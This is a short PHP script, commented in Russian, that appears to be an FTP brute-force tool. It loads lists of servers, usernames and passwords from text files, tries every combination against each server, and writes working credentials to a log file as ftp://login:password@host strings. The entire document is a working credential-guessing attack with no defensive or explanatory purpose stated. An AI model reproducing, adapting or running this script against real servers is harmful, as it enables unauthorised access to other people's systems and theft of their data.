//первое-определяем файлы с которыми работаем: //Список серверов: $fservers = "servers.txt"; //Список логинов: $flogins = "logins.txt"; //Список паролей: $fpasswords = "passwords.txt"; //Лог-файл: $flog = "ftpbrut.log"; //Открываем файлы: $servers = file($fservers); $logins = file($flogins); $passwords = file($fpasswords); $fd = fopen($flog, "w"); //Цикл перебирает сервера foreach($servers as $server) { $connect = ftp_connect($server); echo $server."<br />"; if($connect) { foreach($logins as $login) { foreach($passwords as $password) { $result = ftp_login($connect, $login, $password); if($result) { $str = "ftp://".$login.":".$password."@".substr($server,6); $log .= $str."rn"; echo $str."<br />"; break; } } if($result) { break; } } ftp_quit($connect); } } fwrite($fd, $log);